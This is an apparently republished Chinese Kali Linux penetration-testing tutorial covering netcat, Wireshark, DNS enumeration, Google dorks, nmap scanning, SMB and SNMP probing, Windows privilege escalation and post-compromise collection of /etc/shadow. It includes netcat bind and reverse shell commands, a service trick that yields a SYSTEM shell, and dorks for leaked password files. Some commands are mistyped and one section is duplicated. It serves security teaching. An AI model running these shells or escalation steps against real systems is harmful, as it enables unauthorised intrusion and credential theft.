【渗透测试】kali使用教程(一):常用命令和基本工具使用 您所在的位置:网站首页 kali教程百度网盘 【渗透测试】kali使用教程(一):常用命令和基本工具使用

【渗透测试】kali使用教程(一):常用命令和基本工具使用

2023-09-19 09:47| 来源: 网络整理| 查看: 265

导读:

一年前的学习渗透测试所记录的内容,kali作为一个强大的工具,值得安全入门人员学习。

常用命令 netstat -pantu :查看本机与外界的TCP/UDP连接sudo passwd root:为root设置密码 常用工具 NC-NETCAT

nc是一款远程传输,控制工具。使用nc -h 命令查看参数描述

image-20200608153428232

NC——获取Banner信息 nc -nv x.x.x.x port nc作为客户端连接对方服务器 说明: -v 显示详细信息 -n 后面添加ip地址,不会进行DNS解析

测试:

首先使用ping + 域名 获取ip地址

image-20200608105457977

由于pop3的端口为110,直接用nc -nv命令连接

image-20200608110108800

NC——传输文本(Telnet) A:nc -l -p port 监听端port端口 B:nc -nv x.x.x.x port 发送端,x.x.x.x为监听端ip 用途:电子取证、信息收集 示例:我们希望将远程服务端的文件目录发送到本机,并且不显示远程主机上,可以使用如下命令: 远程服务器:ls -l | nc -nv x.x.x.x port -q 1 这里-q 1表示发送完成后等待1s时间就退出nc 接收端:nc -l -p port > log.txt 监听并将信息保存在log.txt文件中大萨达 NC——传输文件/目录 传输文件: 从B-->A A: nc -lp port > video.mp4 B: nc -nv x.x.x.x port B A: nc -lp port video.mp4 传输目录: 原理类似,只不过需要在传输过程对目录打包和解压 A:tar -cvf - /music | nc -l -p port -q 1 B:nc -nv x.x.x.x port | tar -xvf - NC——端口扫描(不太准确,不常用) nc -nvz x.x.x.x 1-65535 探测所有tcp端口 nc -nvzu x.x.x.x 1-1024 探测udp端口 NC——远程控制 正向控制: A:nc -lp port -c bash A提供bash B:nc x.x.x.x port B使用bash 反向控制: A:nc -lp port A使用bash B:nc x.x.x.x port -c bash B提供bash 思考:在渗透测试中,正向控制一般是会被防火墙拦截的,所以可以尝试反向控制,让服务端连接自己暴露的端口 注意:Windwos平台将bash改成cmd 总结

NC缺乏加密和身份验证的能力,不安全。可以使用NCAT来弥补NC的不足, 因为它是支持SSL加密,NCAT包含于nmap中

Wireshark

Wireshark是一款抓包嗅探、协议分析的工具。

使用wireshark抓包 这里以抓取本机网卡数据包为例。首先打开终端,尝试ping百度 ping www.baidu.com 同时打开wireshark,选则虚拟机网卡eth0,再启动抓包

image-20200608163108785

这里可以保存抓包数据文件,建议保存为pcap格式,兼容性较好。

过滤器

wireshark可以针对ip、域名、协议进行过滤,支持组合表达式,称为过滤器。如下图中,可以选则当前协议行作为过滤器应用。

image-20200608165600432

常见协议包 wireshark默认通过端口来识别协议类型,如80端口识别为http,如有必要需要手动指定协议类型 数据包协议如下:ARP、ICMP、TCP、UDP、DNS、http、ftp TCP数据流:HTTP、SMTP、POP3、SSL/TLS(加密传输,无法查看内容) 统计分析 follow tcp stream:查看传输内容 Endpoints:查看每种协议具体的ip、包大小、发送数量。 协议分级:查看当前帧下的所有协议流量所占百分比。 分组长度:查看不同大小包所占百分比。小包过多会导致瘫痪,可能是攻击行为。 Conversitions:查看所有会话之间的通信情况。 专家系统:针对连接提供一些建议或提示 总结

wireshark 不适用于抓取大量报,因此企业使用一般会使用类似于

Sniffer、Cace、Cascad poit等。

信息收集 DNS信息收集——NSLOOKUP 使用nslookup查看域名解析过程和对应ip tosang@kali:~/桌面$ nslookup > www.baidu.com Server: 114.114.114.114 Address: 114.114.114.114#53 Non-authoritative answer: www.baidu.com canonical name = www.a.shifen.com. Name: www.a.shifen.com Address: 61.135.169.125 Name: www.a.shifen.com Address: 61.135.169.121 DNS信息收集——DIG(更强大)

image-20200609102507339

根据自定义域名服务器查询:dig @8.8.8.8 www.sina.com mx 正向查询:dig www.sina.com any 反向查询(使用ptr反向解析): dig +noall +answer -x 8.8.8.8 其中+noall +answer表示省略无用信息 bind版本信息: dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com 通过查询bind版本信息可以分析是否存在漏掉可以利用 DNS追踪: dig +trace example.com 抓包比较递归查询、迭代查询过程的区别

DNS追踪示例:图中是13个根域名服务器(root域)

image-20200609105201886

接着查询.com域名服务器地址(com域)

image-20200609105435329

然后从这些.com域名中随机挑选一个ip去查询baidu.com域的ns记录

image-20200609111657846

最后从ns记录中随机挑选一个去查询www.baidu.com记录得到cname结果,解析cname可以从百度的域名服务器(ns)得到最终ip地址

image-20200609111723401

DNS区域传输(Zone Transfer)

区域传输是指域名服务器之间同步数据的过程,通过区域传输可以获得某一个域里面的所有主机记录

以下命令可以尝试去连接域名服务器,但一般会被拒绝 dig @ns1.example.com example.com axfr host -T -l sina.com8.8.8.8 DNS爆破 fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt fierce自带字典host.txt,可以通过命令 查看 dnsdict6 -d4 -t 16 -x sina.com 默认集成多种字典,命中率高,执行速度快,最常用 dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -0 sina.xml dnsmap sina.com -W dns.txt dnsrecon -d sina.com -lifetime 10 -t brt -D dnsbig.txt dnsrecon -t std -d sina.com DNS注册信息 说明:一般大型互联网企业域名都做了反查询,所以会查不到 Whois whois -h whois.apnic.net 192.0.43.10 搜索引擎 SHODAN:使用前需要到shodan官网注册一个账号,并获取自己的API Key 搜索联网的设备 Banner: http、 ftp、 ssh、 telnet https://www.shodanio/ 常见filter: net (192. 168.20.1) city country (CN、US) port (80、 21、22、23) OS Hostname (主机或域名) server 示例:搜索中国地区端的81端口ip port:81 country:CN HTTP/1.1 200

使用示例:首先通过nc获取某个域名的ip,这里以gscaep.ac.cn为例

image-20200609161551929

使用shodan来搜索该ip的所有信息

image-20200609161728440

这一刀这里暴露了使用的数据库版本及其端口信息,可以尝试用nc去连接

image-20200609162101517

GOOGLE搜索方法 +充值 -支付 +代表含有,-代表排除 北京的电子商务公司—— 北京 intitle:电子商务 intext:法人 intext:电话 阿里网站上的北京公司联系人——北京 site:alibaba.com inurl:contact 塞班司法案的PDF文档——SOX filetype:pdf 法国的支付相关页面——payment site:fr 一些常用实例: inurt:"level/15/exec/-/show" intille: "netbotz appliance" "ok" inurl /admin/login.php inurt:qq.txt filetype:xls "username| password" inud:ftp "password" filetype:xls site:baidu.com Inurd:Service.pwd http://exploit.db.com/google-dorks 搜索工具 theHarvester 可以使用google、bing等搜索引擎搜索文域名、邮件,需要翻墙 Maltego 图形化展示搜索工具,kali十大工具之一 文件信息——METADATA(元数据) exiftool xx.jpg 查看图片Exif图片信息 Foca windows平台软件 RECON-NG

RECON-NG是一个全特性的,基于Python的web侦探框架。输入help查看所有命令含义

image-20200609191006019

常用命令: recon-ng sina 建立名为sina的工作区 keys add baidu_api api 为baidu_api添加api keys remove xxx 移除某个api keys list 查看所有api 安装模块: marketplace refresh # 更新模块列表 marketplace search hackertarget # 搜索 hackertarget 模块,可以发现支持模糊搜索 marketplace install recon/domains-hosts/hackertarget # 复制模块名,安装 使用模块: modules load recon/domains-hosts/hackertarget # 加载模块 info # 查看模块的描述信息及参数。这里发现该模块是用来搜索主机名。 help # 查看该模块下的使用命令,其中 options 用来修改模块的参数。(goptions 是全局参数,在非模块模式下才可修改。) options set SOURCE rapid7.com # 设置 SOURCE 参数(用来探测 rapid7.com的主机) run # 设置好参数后,直接运行。 show hosts # 在上述 hackertarget 的描述中发现,会把搜索记录 放到 hosts 表中,可以使用 show 命令查看。 主动信息收集 二层发现——arping

二层发现使用arp协议,在局域网下进行

arping 用于在局域网通过目标ip获取mac地址 arping 1.1.1.1 -c 1 arping 1.1.1.1 -d 发现同一ip下重复的mac arping c1 1.1.1.1 | grep "bytes from" | cut d"-f5 | cut d"T"-f2 I cut -d"]"-f 1 脚本 arping l.sh etho > addrs arping 2.sh addrs 场景:通过编写脚本,arping可以发现子网段的所有连接的ip及其mac地址 二层发现——nmap(常用) nmap 1.1.1.1-254 -sn 扫描ping,但是不去扫描端口 namp在扫描的时候会尝试对找到的ip进行反向查询dns获取其域名 nmap -iL iplist.txt sn 二层发现——Netdiscover Netdiscover专用于二层发现,可用于无线和交换网络环境,主动和被动探测 主动探测: netdiscover -i ethO T 1.1.1 .0/24 netdiscover -1 iplist.txt 被动: (主动arp容易触发报警,伪装成局域网一部分,截取arp数据包分析) netdiscover -P 二层发现——Scapy Scapy 作为Python库进行调用 也可作为单独的工具使用 抓包、分析、创建、修改、注入网络流量 apt-get install python-gnuplot Scapy ARP().display() Sr1() Python脚本 Arpl.py Arp2.py 三层发现

优点:可路由、速度比较快 缺点:速度比二层慢、经常被边界防火墙过滤 协议:IP、ICMP协议。在广域网进行

说明:ttl值在linux系统性一般是64,每经过一跳路由自动减一 Ping 1.1.1.1 -c 2 -c指定发送几个请求 Ping-R 1.1.1.1 / traceroute 1.1.1.1 ping 1.1.1.1-C 1 | grep "bytes from" | cut -d "" -f4 | cut-d":"-f 1 pmap -sn 1.1.1.1 -255 nmap -iL iplist.txt -sn Hping 能够发送几乎任意TCP/IP包 功能强大但每次只能扫描一个目标 hping3 1.1.1.1 -icmp -C 2 for addr in $(seq 1 254); do hping3 1.1.1.$addr icmp C I >> handle.txt & done 四层发现

优点:可路由且结果可靠、不太可能被防火墙过滤、甚至可以发现所有端口都被过滤的主机 缺点:基于状态过滤的防火墙可能过滤扫描、全端口扫描速度慢 TCP:未经请求的ACK- RST、SYN-SYN/ACK、 RST UDP:ICMP端口不可达、一去不复返

nmap 1.1.1.1-254 -PU53 -sn 使用udp发现 nmap 1.1.1.1-254 -PA80 -sn 使用TCP发现(ack包 ) nmap -iL iplist.txt -PA80 -sn 端口扫描: Nmap nmap -sU 1.1.1.1 默认的1000个参数 ICMP host-unreachable说明端口关闭 没有回应说明可能开启 nmap 1.1.1.1 -sU-p 53 nmap -iL iplist.txt -sU P 1-200

所有的TCP扫描都是基于三次握手的变化来判断目标端口的状态

隐蔽扫描: 即每次不建立完整三次连接,只发生syn信息 应用日志不记录扫描行为,较为隐蔽 发送流程为:-->使用scapy发送Syn包给目标主机 本机操作系统内核会识别到异常握手,发出RST请求 屏蔽内核的RST请求: iptables -A OUTPUT -P tcp --tcp-flags RST RST -d 本地ip -j DROP Scapy命令: sr1(IP(dst="192.168.60.3]/TCP(dport=80),timneout=l,verbose=1) nmap命令: nmap -sS 1.1.1.1 -p 80 21,25.110.443 nmap -sS 1.1.1.1 -P -65535 --open nmap -sS 1.1.1.1 -P --open nmap -sS -iL iplist.txt -P 80 僵尸扫描 极度隐蔽 实施条件苛刻 可伪造源地址 选择僵尸机:闲置系统且系统使用递增的IPID,不能全是0 发现僵尸机: nmap -P 80 192.168.1.133 --script=ipidseq.nse 扫描目标: nmap 172.16.36.135 -sl 172.16.36.134 Pn p 0- 100 服务扫描

SNMP: 简单网络管理协议 Community strings 信息查询或重新配置 识别和绕过防火墙筛选

扫描banner: nc -nv x.x.x.x dmitry -p 172. 16.36.135 dmitry -pb 172.16.36.135 nmap -sI 1.1.1.1 -P 22 -script=banner nmap 域名/IP (最强大) SNMP扫描

用处不大,现在的服务器会限制特定ip访问snmp

snmp: 信息的金矿 经常被错误配置 public / private / manager MIB Tree: SNMP Management Information Base (MIB) 树形的网络设备管理功能数据库 1.3.6.1.4.1.77.1.2.25 onesixtyone 1.1.1.1 public onesixtyone -C dict.txt -i hosts -o my.log -W 100 可读性强的工具: snmpcheck -t 192. 168.20.199 snmpcheck -t 192. 168.20.199 -C private -V 2 snmpcheck -t 192. 168.20.199 -W SMB扫描

Server Message Block 协议是微软历史上出现安全问题最多的协议,实现复杂,默认开放,文件共享

nmap -v -p 139,445 192.168.60.1-20 nmap 192.168.60.4 -p 139,445 --script=smb-os- discovery.nse nmap -v -P 139,445 --script=smb-check-vulns --script-args=unsafe=1 1.1.1.1 nbtscan -r 192. 168.60.0/24 enum4linux -a 192.1 68.60.10 waf识别 WEB应用防火墙 wafw00f -l wafw00f http://www.microsoft.com nmap www.microsoft.com --script=http-waf-detect.nse 弱点(漏洞)扫描

kali集成了漏洞利用工具,使用searchsploit,我们可以搜索软件当前存在的漏洞及其攻击代码。

image-20200611094925425

此外,NEXPOSE也是一款面向企业的强大的漏洞扫描工具,可以对web页面、操作系统进行登录扫描或黑盒扫描。NEXPOSE会将扫描到的漏洞按CVSS评级进行打分,并且可以生产报告。

提权

Admin提权为System

Windows system账号 官方工具: SysInternal suite https://technet.microsoft.com/en-us/sysinternals/bb545027 psexec -i -S d taskmgr xp系统下: at 19:39 /interactive cmd 该命令会定时启动一个system权限的cmd (只能在xp系统使用) 通过服务方式: SC Create syscmd binPath= "cmd /K start" type= own type= interact SC start syscmd 隐蔽注入: 上面的几种方式会创建单独的进程,可能被发现,可以使用pinjector进行隐蔽注入,注入到某个system权限的进程中,然后通过nc可以远程shell 抓包嗅探 Windows: Wireshark Omnipeek commview Sniffpass Linux: Tcpdump Wireshark Dsniff 基本信息收集

当我们获取到某个主机的root权限后,我们要尽可能收集其信息

Linux: /etc/resolv.conf dns配置信息 /etc/passwd 存放用户账户 /etc/shadow 存放用户密码 whoami, who -a ifconfig -a, iptables -L -n, netstat -rn uname -a, ps aux 查看操作系统信息,进程信息 dpkg -l | head 查看安装的软件

m权限的cmd (只能在xp系统使用) 通过服务方式: SC Create syscmd binPath= “cmd /K start” type= own type= interact SC start syscmd

隐蔽注入: 上面的几种方式会创建单独的进程,可能被发现,可以使用pinjector进行隐蔽注入,注入到某个system权限的进程中,然后通过nc可以远程shell

#### 抓包嗅探

Windows: Wireshark Omnipeek commview Sniffpass Linux: Tcpdump Wireshark Dsniff

#### 基本信息收集 > 当我们获取到某个主机的root权限后,我们要尽可能收集其信息 ```shell Linux: /etc/resolv.conf dns配置信息 /etc/passwd 存放用户账户 /etc/shadow 存放用户密码 whoami, who -a ifconfig -a, iptables -L -n, netstat -rn uname -a, ps aux 查看操作系统信息,进程信息 dpkg -l | head 查看安装的软件 推荐1:简历制作神器

全民简历

说明:个人用过,帮我斩获各大厂offer,体验很不错,价格也比较良心,真心推荐一波。

推荐2:保姆级的Java教程和项目

趋势投资Spring Cloud项目

前端练手项目,模仿天猫前端

JAVA WEB J2EE 练手项目,模仿天猫整站

JAVA 桌面软件练手项目,一本糊涂账

JAVA 自学网站

JAVA 练习题

Hibernate 教程

Struts 教程

SSH整合教程

Mybatis 教程

Spring MVC 教程



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有